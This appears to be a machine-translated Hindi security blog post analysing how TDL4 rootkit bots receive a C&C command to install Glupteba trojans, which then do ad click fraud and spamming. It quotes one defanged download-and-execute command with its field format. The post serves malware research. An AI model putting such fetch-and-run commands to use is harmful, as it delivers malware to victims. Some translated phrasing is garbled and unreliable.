TDL4 बेंटनेट किराए के लिए?

बहुत पहले नहीं, हमने कुछ नए TDL4 रूटकिट नमूनों (Win32 / Olmarik.AOV) में एक दिलचस्प विशेषता देखी। यदि कोई नहीं जानता है, तो यह रूटकिट अब कई वर्षों के लिए सबसे अधिक तकनीकी रूप से उन्नत मास मालवेयर का शीर्षक रखने में कामयाब रहा है। यह x64 के लिए पहला पूर्ण-रूट रूट है, जो 64-बिट सिस्टम पर कर्नेल में जाने के लिए डिजिटल हस्ताक्षर सत्यापन और पैचगार्ड को बायपास करने में कामयाब रहा।

तथ्य यह है कि उनकी सफल स्थापना के बाद, इस रूटकिट के कुछ उदाहरण Win32 / Glupteba परिवार से ट्रोजन की प्रणाली में स्थापित किए गए हैं। इससे पता चलता है कि इस बॉटनेट के संसाधनों को पट्टे पर दिया जाने लगा। यह भी दिलचस्प है कि Win32 / Glupteba और TDL4 बॉट्स के बीच आगे कोई बातचीत नहीं है।

इसलिए, एक सफल स्थापना और पहचान के तुरंत बाद, TDL4 बॉट C & C से निम्न आदेश प्राप्त करता है:

task_id = 2 | 10 || h ** p: //wheelcars.ru/no.exe

जिसकी व्याख्या इस प्रकार की जा सकती है:

task_id = [command_id] [एन्क्रिप्शन_की] [URL]

हमारे मामले में, मापदंडों का सेट "DownloadAndExecute" कमांड के साथ मेल खाता है, क्योंकि एन्क्रिप्शन कुंजी शून्य है और कमांड पहचानकर्ता 2 है, और फिर इसे निष्पादित करने के प्रयासों की संख्या दस है।

सिस्टम पर स्थापित होने के बाद, Win32 / Glupteba अपने C & C से कार्य प्राप्त करता है और इसका निष्पादन शुरू करता है।



सबसे अधिक बार, बॉट दो प्रकार के कार्यों को प्राप्त करता है: पहला बेगुन विज्ञापन नेटवर्क से प्रासंगिक विज्ञापन पर क्लिक करना है, और दूसरा स्पैमिंग है। आइए इस बॉट क्या करता है पर एक करीब से देखो।

पहले मामले में, विशेष रूप से गठित वेब पेजों की एक बड़ी संख्या का दौरा किया जाता है, जिनमें से भरना एक निश्चित प्रकार के प्रासंगिक विज्ञापनों की उपस्थिति को भड़काता है। इसके अलावा, सभी वेब पेज जिनमें से क्लिक होता है, प्रदाता मास्टरहोस्ट के सर्वर पर स्थित हैं।



यदि आप एक क्लिक बॉट के नेटवर्क एक्सेस के आंकड़ों को देखते हैं, तो यह इस प्रकार है:



टीडीएल 4 बॉटनेट, अपने पूर्ववर्ती की तरह, वेबसाइट प्रचार के "काले" तरीकों और लोकप्रिय खोज इंजनों में खोज परिणामों के प्रतिस्थापन के माध्यम से भी सक्रिय रूप से मुद्रीकृत है।